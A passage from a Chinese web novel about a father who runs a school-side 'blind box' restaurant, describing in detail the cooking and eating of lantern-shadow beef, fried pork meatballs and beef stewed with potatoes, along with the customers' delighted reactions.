牛肉经过风干，在阳光和时间中沉淀出醇厚鲜味，油炸将这股鲜香完全激发出来，配上调料的麻辣复合气息，特别勾人食欲。 好半天，周老爷子才伸出筷子夹起片牛肉，举起来对着光线欣赏光影的透射。 隔着半透明的肉片能看到店内顾客们迫不及待想吃饭的激动，他欣赏完将肉送进嘴里，那酥脆化渣，麻辣鲜香的滋味，好吃到他有点想落泪。 薄如蝉翼的牛肉经过油炸，酥脆到极致的口感，牙齿轻轻一碰就在嘴里破碎，咀嚼间麻、辣、鲜、香几种味道依次在味蕾上弥漫开来，余味带着微微回甜，油脂和芝麻特有的坚果香在嘴里持续释放，令人回味无穷。 第一片灯影牛肉咽下，周老爷子不自觉就又夹起一片，吃完浑浊的眼底已经带着几分湿润：“就是这个味道……” 灯影牛肉不光是他对父亲的思念，同时也是对那些没能和他一起回来战友的痛心与怀念。 他呢喃声落下的同时，不远处楚易文耳边传来“任务完成”的声音，然而他抬眸望见那两位老爷子的表情时，心里却是有些动容，觉得好像任务完成也没那么值得高兴。 和那两位情绪复杂的老爷子比起来，其他顾客买完饭就是纯粹的开心。 “哇，这个灯影牛肉也太好吃了吧！又酥又脆，香得我差点没咬到嘴巴。” “这比超市卖的灯影牛肉好吃多了，合着我以前吃的都是假灯影牛肉啊！” “超市里那种零食不知道添加了多少乱七八糟的东西，跟这种现做的肯定没法比。” 灯影牛肉酥脆化渣，层层递进的麻辣鲜香味实在太美味，好吃到令人上瘾。 “太好吃了，好吃到我都舍不得那么快吃完它。” “我也是，太香了，想带回家当追剧小零食吃。” 店内夸赞满天飞时，学校里学生们终于涌入店中，有人找家里人，有人找跑腿小哥，各显神通下，能吃到饭的学生倒是不算特别少。 “灯影牛肉！”楚瑾钰看到灯影牛肉时眼睛瞬间就亮起来，顾不上端饭，握着筷子就先吃一口。 他动作太急，那薄薄的牛肉片撞到他嘴上就直接碎开，他赶紧伸手去接，咀嚼间感受到那极致的酥脆，香得眼睛都不自觉眯起来。 酥脆的美食并不少，但像灯影牛肉这样达到极致的酥脆，已经算是艺术。它不光卖相诱人，那酥脆化渣，随着咀嚼形成细小颗粒的口感，更是越吃越令人惊艳。 楚瑾钰：“我爸做的灯影牛肉果然好吃，比外面卖的灯影牛肉好吃一百倍。” 之前牛肉还在风干阶段时他就已经很期待，此时终于吃进嘴里，发现比自己想象的还要好吃。牛肉本身的鲜味，芝麻的坚果香，辣椒籽的香味，简直越吃越香。 整道灯影牛肉看起来很油润，但吃起来却是完全不油腻，它带着辣味，但不是那种特别刺激的干辣，而是越吃越浓郁的香辣，吃起来特别过瘾。 胡一齐尝到灯影牛肉的味道好，嘴巴完全停不下来，听见他的话只能边吃边点头表示赞同。 他们终于坐下来大口吃饭时，旁边桌上，周老爷子终于收拾好心情，边吃饭边感叹：“没想到我在有生之年还能吃到这么美味的灯影牛肉，这辈子也算没有遗憾了。” “说什么丧气话，我跟你说，这家店好吃的菜还多着……”黄老爷子不爱听他说这种话，直接将话题转移到美食上，跟他分享自己在店里吃到过的美味。 第80章 南煎丸子 薄、脆、透、亮、麻、辣、香, 这几个字最能描述灯影牛肉的美味，此时店中吃到这道菜的顾客无不为它感到惊艳。 食材的新鲜度就不用说，光是风干那几天的时间沉淀, 就让每片肉吃起来更加鲜香，咀嚼间浓郁牛肉香混合芝麻香、辣椒香，味道简直无可挑剔。 “完了，感觉吃完这道灯影牛肉，以后我都吃不下外面卖的灯影牛肉了。” “确实，这味道，这口感, 这香味，简直完美！” 顾客们夸赞着灯影牛肉的美味，一边说着舍不得那么快吃完, 一边却是又吃得停不下来。 还在排队的人光是看他们吃口水都要流下来，等到楚易文宣布菜卖完时，没买到的无不发出失望的叹息。 平常打完菜楚易文会直接回厨房准备吃饭, 不过今天他却是先走到两位老爷子面前，询问他们吃得如何。 黄老爷子：“特别好吃, 是我这辈子吃过最美味的灯影牛肉。”他说完再次道谢，感谢楚易文愿意做这道菜。 楚易文：“不用客气。” 他说完，将一盒打包好的灯影牛肉留在桌上，随即才转身去吃饭。 看到他坐过来, 已经吃完饭的胡一齐他们不由纷纷开口：“楚爸，你做的灯影牛肉真是超级无敌好吃！” “楚爸，下次可以再做点吗？” 听到孩子们都挺喜欢吃，楚易文直接点头答应下来，同时告诉他们厨房还留了一盒, 可以拿去学校当零食吃。 “楚爸万岁！” 听到他还特意留了灯影牛肉，胡一齐发出欢呼。 看到他们那高兴的模样，楚易文唇角不自觉上扬，感觉今天这灯影牛肉做得还挺值得。 如果说之前系统奖励的“厨神之眼”是方便他挑选食材，那么“厨神之舌”就让他更容易分辨食材与调料的味道，让他的调味技术更上一层楼。 与此同时，每天来吃饭的顾客们发自内心给予的好评，让他天天都能抽奖，哪怕抽奖爆率比较低，积少成多下，依旧让他获得越来越多的新菜谱，以及提高刀工。 随着时间进入十一月份，盲盒餐厅开业也有一个多月，时间说长不长，说短也不短。 按说新店开业往往生意最好的就是头一个月，但楚易文家店铺却不是如此，反而在一个月后由于口碑好，迎来爆发式增长，每天来排队的顾客更加多，同时引来不少美食主播过来探店。 楚易文在为越来越多的顾客感到苦恼时，黄老爷子也挺烦，没好气地对手机那头道：“不跟你们说了，我和老周准备出去吃饭去。” “爸别闹了，现在才十点，你吃什么饭？”电话那头黄老爷子儿子语气很无奈。 黄老爷子：“你懂个屁，十点多去正好，去晚了就没饭吃了。” “老家今天不是有雨吗？爸你和周叔别出门了，我给你们点外卖，吃完饭你等天气好了就送周叔回家，人家家里人不放心他一直在外面……” “不要你点外卖，老周在我这有什么不放心的，你还管到你老子我头上来了？” “爸……行行行，你非要让周叔和你一起住也可以，那我给你们请个保姆。” “不用，我能照顾好自己，你没事就上班去，少管你老子我。” 黄老爷子说完直接挂断电话，招呼周老爷子一起出去吃饭。 “肯定是我家那几个没事干的打电话给小仁了。” 周老爷子自从那天吃过盲盒餐厅的灯影牛肉后，就被楚易文厨艺给征服，在黄老爷子开口让他留下来时，没怎么犹豫就答应。 他家儿女见老爷子说好去看战友，结果一去不回，自然担心，打电话催他回家无果后只能联系黄老爷子儿子，让他劝两句。 在小一辈人看来，两个都是需要人照顾的老爷子，凑在一起太容易出事。尤其这两位老爷子还都死犟死犟，非不愿意请保姆。 “别管他们，我们又不是老到路都走不动了，自己去店里吃多好，请什么保姆，点什么外卖，那保姆做菜的能和小楚比吗？再说外卖，店里顾客就有跑外卖的，人家都说了，好多外卖店都不干净，还是小楚家吃得放心。” 黄老爷子话落，周老爷子赞同地点头：“小楚手艺确实好……” 两位老人边走边聊，很快就撑着伞来到盲盒餐厅门口。 即便是下雨天依旧浇不灭顾客们对吃饭的热情，他们还不算来得最早的，有几位顾客比他们还先到。 厨房内，楚易文已经炖好汤，烧好鸡翅，此时正在做南煎丸子。 他先将瘦七肥三的猪皮剁成肉末，加依次入葱姜水搅拌均匀，随后加鸡蛋、生抽、盐、料酒、白胡椒粉、一丢丢糖提鲜，用筷子打搅上劲。 当肉馅变得粘稠有韧性时，他将提前切好的马蹄碎放进入，再稍微加点香油和干淀粉就将肉馅彻底调好。调好的肉馅还没开始做已经散发出淡淡香味，楚易文用勺子取了块乒乓球大小的肉馅在手里，双手来回摔打成丸子，随即起锅烧油，六成油温开始煎。 随着他用中小火慢煎，丸子底部很快变成金黄色定型，同时一股肉香顺着锅底蔓延开来。 当楚易文将锅里丸子用铲子压扁，同时翻个面将两边都煎出漂亮的金黄色时，一股更加浓郁的肉香混着油煎的焦香飘出厨房。 此时店内已经坐着不少顾客，闻见这股肉香都不自觉仰头闭目，用鼻子去感受那诱人的香气。 “他家饭我真是天天过来吃都不会腻。”闻着香味，某个年轻顾客不由对身旁朋友说。 “废话，老板手艺先不说，就他这每天变着花样做菜，能吃腻才奇怪，不知道今天又有什么好吃的。” “听说他是为了方便儿子吃饭才会出来开店，真羡慕他儿子。” “谁不羡慕呢，我们只是有空时能过来吃一下，他儿子可是天天能吃到。” 店内顾客们闲聊时，门口陆续又有人进来，而厨房内，楚易文已经将丸子全部煎好，开始烧制入味。 他用锅里留的底油将少许姜末、葱末爆香，倒入提前准备好的高汤，加生抽、老抽等调料进行调味后，将煎得金灿灿格外漂亮的丸子全部下进去，先大火烧开，再转中小火焖煮。 随着锅里汤汁被煮得发出咕噜咕噜声，本就肉香浓郁的丸子被高温激发出更加诱人的香味，光是闻着就令人食欲大开。 随着越来越浓郁的香味从厨房里飘出来，店内顾客早就坐不住，纷纷起身排队，同时伸长脖子往厨房方向张望，想看看到底是什么这么香。 黄、周两位老爷子别看年纪大，腿脚可不慢，直接排在前十的位置。 等到楚易文将菜依次端出来，首先就是那道南煎丸子。老抽上色给整道菜带来红亮色泽，丸子先煎后焖，表面带着深深浅浅的金黄色煎痕，看着就特别香。 煎制过程中不光逼出丸子里多余油脂，同时也最大限度激发肉香，配上马蹄的清香以及调料的酱香气息，令人食欲大开。 “哇哦，这菜真是看着就好吃！” 哪怕早知道他做菜美味，色香味俱全，每次过来买饭时老顾客还是忍不住发出感叹。 南煎丸子出锅前进行了勾芡，此时稀稠适中的芡汁在丸子表面流淌，那油润的色泽看起来很是诱人。 不出所料，几乎每位顾客在看到这道菜时都忍不住来了一份，很快端着碗就吃起来。 由于丸子煮之前先煎过，表面原本焦脆的外壳吸收汤汁变得酥韧微焦，咬下去时内里则是鲜嫩多汁，两种不同的口感形成鲜明对比，吃起来特别香。 拥有“厨神之舌”后，楚易文调味更加完美，整道丸子吃起来咸鲜回甜，那丝甜味很淡，却是整道菜的点睛之笔，起到中和咸味、提鲜的作用。 南煎丸子好吃到顾客都不直接怎么用语言去描述，只剩下“真香”两个字，吃得脸上露出陶醉的表情。 “我怎么感觉老板手艺越来越好了？这也太好吃了！”有老顾客咀嚼着南煎丸子，不由发出感叹。 外焦里嫩的南煎丸子吃起来又嚼劲却不柴，马蹄清脆的口感特别解腻，完美的打搅上劲手法，让整个丸子吃起来甚至微微弹牙。 周老爷子：“这道南煎丸子做得实在完美，不论是刀工、火候、调味都挑不出半点毛病。” 他没有继承父亲的厨艺，但在吃方面还是挺精通，吃着咸鲜适口的丸子，越吃越喜欢。 跟他的点评比起来，黄老爷子就要简洁明了得多，吐出一个“香”字就继续吃起来。 小火慢煨的过程让整个丸子吸收足够汤汁，高汤的鲜味融入丸子里，那外酥里嫩、鲜美多汁的口感，简直令人陶醉。 吃着香喷喷的南煎丸子，黄老爷子不由想起之前儿子的电话，觉得有这么美味的饭菜，他傻了才去吃外卖。 他有空提前过来等饭吃，然而更多顾客却是要上班，只能请跑腿小哥帮忙代买。 跑腿小哥从盲盒餐厅买完饭出来，强忍着先吃饭的想法，开启暂停接单后就风一样地开车冲向目的地。 这种代买单不存在什么超时不超时，他跑那么快纯粹是自己馋了，想早点送到好吃自己那份饭。 某公司，成功从跑腿小哥手里拿到午餐，小许还没吃，光是想想又能吃到美食就开心得不行。 她拿着午餐回到工位，刚打开袋子就闻见隐隐香味，深吸一口气，有被香到。 “小许，你又让人帮忙买那家店的饭了？” “对啊~” 小许声音愉悦，边说边加快速度打开盖子，一股浓郁饭菜香瞬间弥漫开来。 刚刚说话的那位同事本来想说她一天工资统共没多少，请跑腿就要花掉不少，然而在闻见这股香味时，到嘴边的话却是变成偷偷咽口水。 “开饭了~” 小许望着面前的饭菜，米饭晶莹剔透、粒粒分明，散发着好闻的米香；南煎丸子色泽红亮诱人，肉香浓郁扑鼻；莴笋丝炒肉看起来清清爽爽，散发出莴笋特有的清香和肉鲜味；玉米胡萝卜排骨汤鲜香四溢，嫩黄色玉米、橙红色胡萝卜、浅褐色排骨和清澈的汤组成一幅完美的画卷。 还没吃她就已经被饭菜的卖相给取悦到，觉得和好多外卖店用陈米煮的死米饭，以及油腻得不行的菜比起来，面前这才叫吃饭。 南煎丸子那浓郁的肉香实在太诱人，她握着筷子直接先吃口丸子，先煎后焖煮的丸子吃起来又香又入味，明明里面放了不少肥肉，但在马蹄的爽脆中和下，吃起来却是完全不腻。 真香啊！ 美食能令人心情愉悦，小许吃着美味的南煎丸子，感觉上班带来的疲倦和心累瞬间就被抚平，甚至想到上班就能有工资，有工资就能吃到如此美味，她觉得这个班上得也没那么烦了。 南煎丸子单吃很香，配米饭吃同样美味，丸子的肉香和米香融合，咀嚼间连米饭都染上脂香和咸鲜味，咽下去时的饱腹感以及味蕾残留的余味，更是令人满足。 原本还想劝她节约点，花钱不要大手大脚的同事看到她吃得那么香，已经完全说不出话来，感觉自己面前从家里带的饭瞬间都不香了。 “小许，你的菜好香啊！可以给我尝尝吗？”旁边另外一位同事被香味馋到，忍不住开口。 小许感觉自己都不够吃，闻言道：“只能给你尝一口。” “谢谢。” 同事倒是没嫌少，用碗接过那一小块南煎丸子，吃进嘴里后眼睛都微微睁圆：“这肉丸子也太好吃了！怎么会这么香！” 小小一口丸子，却能吃出厨师的用心，肥瘦比例完美的搭配，让丸子吃起来有脂香却不油腻，马蹄不光能解腻，还能丰富口感，给丸子打搅上劲的手法和调味，则让丸子完全没有肉腥味，咀嚼间满满都是肉香、马蹄清香和酱香。 只这一口南煎丸子，同事瞬间就理解小许为什么多花钱喊人跑腿都要吃这家的饭，她感觉这家的菜和普通外卖简直不在一个档次。 “小许，晚上我们一起买饭吧，这家菜太好吃了，我以为只是闻起来香，没想到吃起来更香！” 小许知道公司里不少人都觉得她请跑腿的钱都够点一顿外卖很浪费，此时听见同事的话，开口道：“他家不光菜好吃，连米饭都格外香……” 这边小许在向同事们安利盲盒餐厅时，店铺内此时楚易文已经快卖完菜。 在他打完最后几份饭时，黄、周两位老爷子吃完正要离开，走之前还特意找他夸了几句，说他做的南煎丸子特别美味。 两位老人还在回味着午餐的美味时，首都，黄家。 黄老爷子儿子在餐桌上对自家女儿道：“小月，正好你最近有空，回趟老家看看你爷爷，顺便劝劝他来首都住。” “行。”小月最近刚辞职，她准备休息段时间再找新工作，听到父亲的话直接答应下来，“爸你放心，爷爷最疼我了，只要我撒撒娇，肯定能把他哄过来。” “你爷爷年纪大了，又不愿意请保姆，他一个人我实在不放心，你要是真能把他带过来，我奖励你个大红包。” “真的？那爸你赶紧把大红包准备好吧。” 小月听到还有红包拿，等吃完午餐就开始订票，想着早去早回。 比她更先到云市的是寒流，才刚到十一月中旬，温度就呈直线下降，出门都能感受到冷风往衣领里钻。 寒冷的天气，被窝瞬间就变得迷人起来，原本还能早起吃早餐的楚瑾钰现在恨不得长睡不醒。 “再不起床要迟到了。” 楚易文亲自进房间将他喊醒，见他还是一副没睡够的样子，伸手将人拉起来。 “人为什么要上学……”楚瑾钰顺着他的力道从床上坐起来，发出灵魂质问。 楚易文看到他这副模样，又无奈又好笑，只能开口哄着：“往好处想想，再有两个月就放寒假了。” 这对楚瑾钰来说压根不是什么好消息，他闻言更加想叹气：“竟然还要上两个月的学……” 他又赖床又磨蹭，想在家里吃早餐显然来不及，楚易文将早餐装进保温桶里，塞进他怀里推着他出门，开车送他去学校。 在车上时有暖气，温暖的环境让楚瑾钰又有点犯困，不过由于家离学校实在太近，两分钟就到校门口，压根没给他打盹的机会。 从车上下来被冷风一吹，他才彻底清醒，望着怀里的保温桶，想到他爸那么早起来做早餐，不由道：“爸，明天你多睡会，别给我做早餐了，早上我随便去食堂吃点就行。” “食堂的早餐你不是不爱吃？没事，反正我睡得早起得也早。”见儿子还知道心疼人了，楚易文脸上露出欣慰的笑容。 楚瑾钰：“偶尔吃一下也还行，反正你明天别做了。” 他说完眼见真快迟到，赶紧小跑着进入学校。 等他进入教室里，屁股还没在椅子上坐热，胡一齐就已经跑过来抢他怀里的保温桶：“楚爸今早做什么了？快给我吃两口，昨天半夜就饿了。” “你昨天晚餐吃那么多还会饿？”楚瑾钰用“你是不是饿死鬼投胎”的眼神望着他。 今天楚易文准备的早餐是蒸饺加豆浆，饺子有玉米肉馅和白菜猪肉两种口味，味道绝对是谁吃谁知道。 薄而不失韧性的饺子皮包着两种不同馅料，隐约能看见玉米和肉馅的颜色。胡一齐是真饿了，看到饺子压根顾不上再说话，直接开吃。 楚瑾钰看到他狼吞虎咽的模样，感觉再不吃要被他吃光了，边招呼同桌尝几个，边也赶紧吃起来。 至于叶其林和商时贸，他们压根不用楚瑾钰叫，闻着香味就自己过来。 托早读他们几个在教室吃饺子的福，搞得早餐时间，班上同学们一个个都忍不住跑去食堂买饺子吃。 寒冷的天气吃上碗热乎乎的水饺其实还挺舒服，美中不足的是学校煮的是速冻水饺，味道实在算不上美味，就这还有不少饺子皮被煮烂了。 学生们早读结束开始吃早餐时，楚易文正在采购今天要用的食材，等到他采购完到店时，李老太太早就已经到了，正在擦桌子。 老太太是真闲不住，擦完桌子又去收拾店里的瓶子，将一个个瓶子踩扁重新装进袋子里，再放到外面的三轮车里。 瓶子都是顾客们喝水留下的，以前楚易文都是直接装起来放垃圾桶，让有需要的老人自己捡，现在李老太太过来上班，店里废品自然归她。 老太太对于现在的工作满意得不能再满意，同时心里很感激楚易文，天气转冷前就做了好几双棉鞋，除了自家孙子的，还有给楚易文他们的。 今天中午店内又是热闹得不行，来吃饭的顾客络绎不绝。直到午餐结束，人渐渐离开，店内才恢复安静，李老太太也找机会送出自己做的棉鞋。 “还有我的？”发现棉鞋有自己的份，胡一齐有点小惊讶，随即笑着道，“谢谢奶奶！” “客气啥，你们不嫌弃就行。”李老太太笑得一脸慈祥。 叶其林：“教室里坐久了有时候会冻脚，有棉鞋穿多好啊，谢谢奶奶。” 楚瑾钰则是望着棉鞋想起自己奶奶，想到她以前也经常会做棉鞋、布鞋，可惜他初中时发神经，嫌奶奶做的布鞋不好看，后来她就没再做了。 店内大家都收到李老太太送的手工棉鞋时，黄老爷子回到家也收到惊喜。 “你怎么回来了？也不提前说一声。”看得出来黄老爷子确实很疼爱孙女，看到她时脸上的惊喜和笑容藏都藏不住。 小月直接上前抱住他胳膊撒娇道：“爷爷，我失业了，可以回来啃你的老吗？” “在外面上班是不是受委屈了？”黄老爷子关心完，直接大手一挥，表示自己的退休金够花，让她放心地啃。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 80-90 第81章 土豆炖牛肉 哪怕小月这次回来并不是为了啃老, 但在听到爷爷愿意让她啃时，还是露出开心的笑容来。 和爷爷撒完娇，她并没有忽略家里另外一位长辈, 笑着打招呼：“周爷爷好~” 周老爷子看到她，平日里不苟言笑的脸上难得露出个笑容。 好不容易回趟老家，小月不可能刚来就走，因此没急着劝爷爷跟她回首都，而是准备小住一段时间，徐徐图之。 “你吃饭没？”黄老爷子边说心里边可惜，觉得她但凡早点来, 还能一起去盲盒餐厅吃午饭。 小月：“我吃过了。” “那就好，晚上爷爷带你出去吃。”黄老爷子听到她已经吃过午餐，放心的同时立刻夸起盲盒餐厅来, 告诉她那家店有多好多好吃。 坐在旁边的周老爷子平常话不算特别多，此时也跟着插几句话，夸赞起来。 听到他们的话, 小月好奇心被勾起来，顺手拿起手机搜索起来, 想看看到底是什么店能让自家爷爷如此赞不绝口。 她之前在首都倒是没刷到过盲盒餐厅视频，此时可能是回到云市的缘故，在搜索框还没打完“盲盒餐厅”几个字，相关搜索直接跳出来。 第一个就是美食探店视频, 前面展示了盲盒餐厅有多受顾客欢迎，还没到饭店就有好多人提前过来排队。小月甚至眼尖地在人群中看见自家爷爷的身影，继续往下看，美食博主在用一连串令人感到夸张的句子描述店内的香味。 不过当镜头给予店中菜肴一个特写时，那诱人的卖相好像在向大家展示, 博主刚刚说的话并不夸张。 小月望着那一道道菜，喉咙不自觉吞咽两下，感觉这菜看起来确实有点诱人。 一定是开滤镜了…… 她自认在首都什么美食没吃过，不愿承认自己隔着屏幕被馋到，尤其是这家店看起来并不算大，就是一家普通的校边快餐店。 哪怕她觉得视频是加了滤镜才会看起来那么馋人，但在主播开吃时，她嘴巴里还是很诚实地分泌起津液，食欲明显被勾起来。 视频看完，她顺手点开评论区，发现评论区还挺热闹。 【好馋好馋好馋，我真的好馋，恨不得直接飞到云市去尝尝他家菜到底有多好吃。】 【这灯影牛肉看起来也太诱人了，隔着屏幕都好像闻见那股混着芝麻香辣香的牛肉味。】 【听起来好酥脆，好想尝尝灯影牛肉啊，感觉跟我在外面买的完全不同。】 【嘿嘿，我也有灯影牛肉吃，虽然找跑腿小哥花了不少钱，但在吃到这口麻辣鲜香，酥脆化炸的牛肉时，感觉真是特别值［图片］】 【果然，美食永远在别人那，为啥这么好吃的店就不能开在我公司楼下呢？】 小月又搜了一下，发现盲盒餐厅在云市还挺有名，而且竟然能做到全网无差评，她是真好奇起来，恨不得赶紧到晚饭时间。 下午四点多。 “小月走，准备出门了。” 黄老爷子话落，小月疑惑的声音立刻响起：“去哪啊？” “去吃饭。” “吃饭？现在才刚到四点，这么早去吃饭吗？”小月声音里透着惊讶。 黄老爷子：“得早点去店里排队，不然等人多了要排好久，而且还可能买不到菜吃。” 小月想到中午刷的视频，没再说废话，换好鞋陪着两位老爷子一起出门。 她高中毕业已经有好些年，此时重新回到母校，隔着围栏望着里面崭新的操场与建筑，怀念的同时又有点小不爽，觉得凭什么她读书时就是破教学楼和旧旧的操场。 沿着学校围栏继续往前走，路过校门口再往前就到盲盒餐厅，黄、周两位老爷子可谓是熟门熟路。 跟在两位老爷子后面走到店外，小月本来以为他们应该是来得最早的，没想到店里竟然已经坐着不少人，同时一股浓郁香味扑鼻而来。 “好香啊！”小月下意识道。 厨房里，菌菇肉丸汤已经煮好，黄豆烧鸡爪正在收汁，同时砂锅里正炖着牛肉。 牛肉先经过焯水去腥，又用香料炒香，炒出糖色后才放入砂锅里炖，用小火炖了一个多小时，肉被炖烂的同时，香味更是完全被激发出来。那浓郁的肉香，复合的香料气息，炒糖色产生的淡淡焦糖香，闻起来特别令人垂涎欲滴。 小月闻着源源不断往自己鼻子里钻的菜香，不由回想起美食博主在视频中的描述，此时再也不觉得他语气夸张。 “爷爷，什么时候能吃饭？我都有点饿了。”此时她再也不觉得四点多吃饭早，恨不得现在立刻马上就开饭。 黄老爷子听到孙女迫不及待的声音，笑呵呵道：“别急，等放学铃声响了就可以吃饭了。” 小月闻言有点小失望，随即却是伸长脖子往厨房那边看，好像想看清楚厨房里到底在做什么菜这么香。 随着时间的流逝，厨房里香味更加浓郁，飘出来简直能馋死人，越来越多的顾客进入店里，轻嗅着那股诱人香味猜测晚餐的菜色。 “肯定有牛肉。”闻见牛肉特有香气的顾客肯定道。 旁边另外一位顾客则是说：“我闻见黄豆香了，就是不知道烧的啥。” “应该是黄豆烧鸡爪，我上次吃过一回，特别好吃。” “我也喜欢吃黄豆烧鸡爪，里面黄豆特别香，比肉还好吃，直接吃混着拌饭都很美味。” 店里顾客们热闹地闲聊起来时，厨房内，楚易文将薯粉团出锅后，转身打开炖牛肉的砂锅，往里面加入土豆块和胡萝卜块。 为了不让汤汁变得浑浊，土豆块在进入砂锅前，他特意用清水洗掉表面那层淀粉。 楚易文握着勺子将胡萝卜、土豆与砂锅里牛肉搅拌均匀，确定每块食材都泡在汤里才重新盖上盖子，继续用中小火炖着。 随着土豆块和胡萝卜块的加入，牛肉香中很快染上蔬菜的清香，闻起来更加诱人。 店里，老顾客们闻见这股香味都有点受不了，更别说第一次来店里吃饭的小月，她的嘴巴和胃似乎在疯狂抗议，抗议为什么还不给它们食物。 现在还没到她平常吃晚饭的时间，明明出门前她一点都不饿，此时在浓郁的菜香中，肚子却是咕咕叫个不停。小月再次打开手机查看时间，感觉时间怎么忽然就过得那么慢。 和她有同感的还有正在上最后一节课的学生们，恨不得立刻马上就放学。 终于等到放学铃声响起时，学校里瞬间就喧哗起来，教学楼每一层都瞬间涌出好多学生，楼梯更是很快被人流给占领。 学生们纷纷从教室里离开时，盲盒餐厅内，提前过来的顾客们已经排好队，目不转睛望着楚易文将一盆盆菜端出来。 酱红色的土豆炖牛肉汤汁浓郁，油润光亮、纹路清晰可见的牛肉搭配上淡黄色土豆、橙红色胡萝卜，卖相十足。 “老板，我要一份土豆炖牛肉，还要黄豆烧鸡爪、菌菇肉丸汤。” 说实话，如果不是一个人吃五菜一汤实在太奢侈，他恨不得将每个菜都点一份。 而排在他后面的几个女生却没有选择的烦恼，因为她们是一起来的，可以把所有菜都点一遍。 “土豆炖牛肉看起来好好吃，我们点两份吧，不然怕不够吃。” “好，我也很喜欢吃牛肉。” 商量好，她们多点了一份土豆炖牛肉，心情愉悦地端着饭菜找位置坐。 小月跟爷爷他们排在更后面，瞧见其他人手里端着色香味俱全的饭菜时，喉咙忍不住又吞咽两下。 等终于轮到她时，她目不转睛望着面前的饭菜，都忘记开口说话。好在也用不着她说什么，黄老爷子直接点单，表示汤要三份，其他菜各要一份。 终于买好饭重新坐下来时，小月视线扫过桌面，感觉这家店就连米饭都煮得格外诱人。她视线从晶莹的米饭转移到红彤彤的黄豆烧鸡爪上，又转到汤色清澈散发浓郁鲜香的菌菇肉丸汤上，最后停在那道土豆炖牛肉上。 炖煮过程中，土豆多少有点融进汤里，让汤汁变得更加浓稠，挂在食材上形成油亮的色泽，看着就让人食指大动。 发现美食博主的视频原来压根没有加滤镜，小月被饭菜的卖相馋得都一时不知道从哪吃起好。 黄老爷子作为盲盒餐厅开业后第一批顾客，他倒是已经适应良好，握着筷子先给孙女夹了块牛肉，随即才自己吃起来。 牛肉经过先炒再炖，呈现出诱人的酱红色，浓郁的汤汁挂在上面，吃进嘴里时立刻就感受到醇厚鲜美的滋味，咀嚼间肉质酥烂软糯。 带着点肥肉和筋的牛腩肉吃起来比纯瘦肉更有嚼劲，脂香也更加浓郁，带筋的部分胶质丰富，配上汤汁的咸鲜，以及来自胡萝卜的淡淡回甜，味道简直完美。 黄老爷子几乎立刻就爱上炖牛肉的滋味，好吃到舍不得立刻咽下去，而是细细咀嚼品味。烂而不柴的牛肉越吃越香，浓郁的汤汁感更是令人回味。 几乎是在他开吃的同时，小月不再纠结，夹起碗里那块牛肉送进嘴里，肥瘦相间的牛腩简直是人间美味！肥肉部分入口即化，吃起来完全不油腻，瘦肉部分酥烂入味，吃起来却不腥不柴，同时由于炖煮中吸收土豆和胡萝卜的香气，染上蔬菜特有的清香，让它吃起来更加美味。 天呐！怎么会有这么好吃的牛肉！ 咸鲜浓郁，余味带着若有似无回甜的牛肉简直好吃到小月有点想捧脸，感觉这是她这辈子吃过最美味的炖牛肉，好吃到她连话都没空说，边在心里呐喊边又夹起一块。 酥烂而不散的牛肉被夹到筷子上，散发出浓郁酱香，让人迫不及待想要把它送进嘴里。 牛肉进嘴，先是表面那层汤汁滑上味蕾，醇厚的鲜香刚蔓延开来，牙齿就上下咬碎牛肉，肉香混着复合香料气息，好吃到让她脸上露出满足的表情。 几口牛肉下肚，她又夹起块土豆，吸收汤汁和牛肉精华的土豆味道一点不比肉差，食材本身的淀粉甜味配上汤汁咸鲜味和肉香，吃起来粉糯绵软，不用怎么咀嚼就在嘴里化开。 “爷爷，这个土豆炖牛肉好好吃啊！竟然连里面胡萝卜都变得美味起来。” 从这话不难听出，小月平常是不怎么爱吃胡萝卜的，但这道土豆炖牛肉却是诱人到让她连自己不爱的食材都忍不住尝一口。 黄老爷子闻言，指着旁边黄豆烧鸡爪道：“你尝尝这个鸡爪，也很好吃。” 小月听到爷爷的话，夹起个鸡爪送到嘴边，刚咬上去就感受到鸡爪的软糯。 她平常就爱吃鸡爪，但正是因为爱吃，所以对鸡爪的口感还挺挑剔。她喜欢吃软糯的鸡爪，但软糯不等于烂糊，如果是那种轻轻一抿就化开的鸡爪，她又不喜欢吃。 此时嘴里的鸡爪却是恰到好处的软糯，轻轻一咬就脱骨，咀嚼间软糯又带着微微韧性，同时绝佳的调味让它吃起来香辣咸鲜，令人欲罢不能。 不光土豆炖牛肉里的配菜好吃，黄豆烧鸡爪里的黄豆更是美味，软糯入口的黄豆让小月耐心都变得充足起来，握着筷子将黄豆一颗颗夹进嘴里，享受着绝佳的美味。 此时她心里早就忘记这次回老家的目的，只感觉能吃到如此美味的饭菜，简直太幸福。 在她完全沉浸在美食中时，店里其他顾客也没好到哪去，都大口大口吃着饭菜，脸上带着说不出的满足。 冬天本来就适合吃点热乎的，土豆炖牛肉那温暖的味道，给顾客们带来极致的享受。牛肉的香醇、土豆的绵糯、胡萝卜的软甜、汤汁的鲜美浓稠，吃起来简直温暖人心。 “土豆炖牛肉太好吃了！” 胡一齐边说边用直接用勺子往米饭上浇上汤汁与牛肉，浇完用筷子轻轻一拌，原本雪白的米饭被染成浅酱色，同时多了抹油润感。 他是真会吃，直接把土豆和胡萝卜碾碎压进饭里，再带着牛肉一起塞进嘴里，米香、土豆的淀粉香、胡萝卜的清甜、牛肉的酥烂咸鲜以及汤汁的酱香浓郁，丰富的滋味在味蕾上瞬间迸发开来，好吃到他直接闭上眼。 今天晚上的下饭菜是真不少，土豆炖牛肉绝对算是其中一样，在看到胡一齐那满足的吃相后，楚瑾钰也开始往米饭上浇汤汁。 “邵言易，你要不要？”他不光自己浇，还体贴地问了句自家同桌，并顺手就往对方碗里来了几勺。 可能是性格缘故，哪怕已经在店里吃了一段时间的饭，邵言易依旧很克制，具体表现在他从不跟楚瑾钰几人争抢，都是有什么吃什么。 对邵言易来说，现在的日子简直不要太美好，奶奶不用每天在大街上穿梭忙碌，也不用天天赶着回家给他做饭，他心里深深藏着对楚易文父子二人的感激。 对他来说，不抢菜倒不是性格有多腼腆，主要是在他看来，每道菜都特别好吃，他感觉吃什么都是享受。 “谢谢。” 此时看到楚瑾钰往他碗里盖上几勺土豆炖牛肉，他筷子搅拌几下就继续吃起来。 胡一齐吃得太急，被噎了一下，赶紧端起汤碗送到嘴边，几口汤下肚，他舒坦的同时不由道：“这汤好鲜啊！” 用菌菇加手工肉丸炖出来的汤，怎么可能不鲜。他本来只是想喝两口将嘴里饭菜冲下去，说完却是忍不住多喝几口。 叶其林看到他喝汤，下意识端起碗抿了口：“确实鲜，真好喝。” 